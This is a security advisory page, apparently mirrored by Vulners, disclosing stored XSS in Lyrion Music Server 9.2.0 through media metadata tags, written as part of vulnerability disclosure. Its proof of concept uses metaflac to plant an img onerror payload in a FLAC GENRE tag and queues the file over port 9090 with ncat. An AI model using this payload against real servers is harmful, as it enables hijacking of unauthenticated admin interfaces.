Lucene search
K

Lyrion Music Server 9.2.0 (metadata) Stored XSS

🗓️ 05 Jun 2026 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 6 Views

Lyrion Music Server stores metadata tags unencoded, enabling stored cross site scripting and admin access via unauthenticated UI.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-50232
5 Jun 202613:24
attackerkb
CVE
CVE-2026-50232
5 Jun 202613:24
cve
Cvelist
CVE-2026-50232 Lyrion Music Server 9.2.0 Stored XSS via Metadata Tags
5 Jun 202613:24
cvelist
EUVD
EUVD-2026-34831
5 Jun 202613:24
euvd
NVD
CVE-2026-50232
5 Jun 202614:16
nvd
Packet Storm
📄 Lyrion Music Server 9.2.0 metadata Persistent Cross Site Scripting
5 Jun 202600:00
packetstorm
Positive Technologies
PT-2026-46951
5 Jun 202600:00
ptsecurity
<html><body><p>Lyrion Music Server 9.2.0 (metadata) Stored XSS


Vendor: LMS Community
Product web page: https://www.lyrion.org
Affected version 9.2.0

Summary: Lyrion Music Server (formerly Logitech Media Server, and
often abbreviated as "LMS" ) is open-source software which can control
and serve (stream) music to a wide range of physical and virtual audio
players called Squeezeboxes. Lyrion Music Server can stream your local
music collection, internet radio stations, and content from many streaming
services (with and without subscriptions).

Desc: Lyrion Music Server stores media file metadata tags (such as GENRE,
ARTIST, and ALBUM) exactly as written in the file and later renders them
in its web interface without HTML-encoding, resulting in stored cross-site
scripting. An attacker who gets a file with a malicious tag into the victim's
library has their payload saved during the next library scan and executed
automatically whenever a user views that track's information or plays the
file in the web UI. Because LMS is unauthenticated by default, the injected
script runs with full access to the management interface, allowing admin
commands, settings disclosure, and further exploitation.

Tested on: Windows 10 (64-bit) - EN
           Lyrion Music Server (9.2.0 - 1779973211)
           Perl/5.32.1
           SQLite


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2026-5990
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5990
CVE ID: CVE-2026-50232
CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-50232


27.05.2026

--


$ metaflac --set-tag=GENRE="<img onerror="alert(document.cookie)" src="1"/>" evil.flac
$ metaflac --list evil.flac
METADATA block #0
  type: 0 (STREAMINFO)
  is last: false
  length: 34
  minimum blocksize: 4608 samples
  maximum blocksize: 4608 samples
  minimum framesize: 2305 bytes
  maximum framesize: 14124 bytes
  sample_rate: 44100 Hz
  channels: 2
  bits-per-sample: 16
  total samples: 4664587
  MD5 signature: 2aeee69c0153cb652c718dfdf0e9ff2d
METADATA block #1
  type: 4 (VORBIS_COMMENT)
  is last: false
  length: 98
  vendor string: Lavf57.83.100
  comments: 2
    comment[0]: encoder=Lavf57.83.100
    comment[1]: GENRE=<img onerror="alert(document.cookie)" src="1"/>
METADATA block #2
  type: 1 (PADDING)
  is last: true
  length: 8140

$ ncat localhost 9090
playlist add file:///music/evil.flac
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jun 2026 00:00Current
4.9Medium risk
Vulners AI Score4.9
CVSS 45.1
CVSS 3.17.2
6